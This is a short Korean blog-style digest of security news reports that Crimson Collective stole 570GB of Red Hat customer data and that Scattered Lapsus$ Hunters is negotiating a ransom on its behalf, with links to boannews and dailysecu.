> Scattered Lapsus$ Hunters의 다크웹 데이터 유출 정보 사이트에 레드햇 관련 게시물이 올라오고, 이들이 크림슨콜렉티브를 대신해 레드햇과 협상을 진행
> 이들은 10일(현지시간)까지 레드햇과 몸값 협상이 성사되지 않으면 데이터를 온라인 공개하겠다고 위협
기타 - 오픈소스 생태계 전반에 걸쳐 큰 충격을 주는 사례
> 레드햇은 오픈소스 소프트웨어의 대표적 신뢰 주체로, 그 보안 관리 체계가 무너졌다는 평가

- 사이버 침해 및 데이터 유출 후 피해 조직과 협상하는 과정을 대행하는 사이버 갈취 서비스(Extortion-as-a-Service)로 진화하고 있음을 보여줌

 

보안뉴스

 

레드햇 공격 당해...해커 그룹, “570GB 분량 고객 민감 데이터 털었다”

기업용 오픈소스 소프트웨어 기업 레드햇이 해킹 공격을 당했다. 해커 그룹 ‘크림슨콜렉티브’(Crimson Collective)는 570GB 분량의 레드햇 고객 데이터를 탈취했다고 자신들의 텔레그램 채널에서 밝

www.boannews.com

 

레드햇 내부 저장소 2만8천 개 털렸다…570GB 고객 문서 유출, 오픈소스 신뢰 흔들 - 데일리시큐

오픈소스 보안의 상징으로 불려온 레드햇(Red Hat)이 대규모 데이터 유출 사건에 휘말렸다. ‘크림슨 컬렉티브(Crimson Collective)’라는 해킹 조

www.dailysecu.com

 

+ Recent posts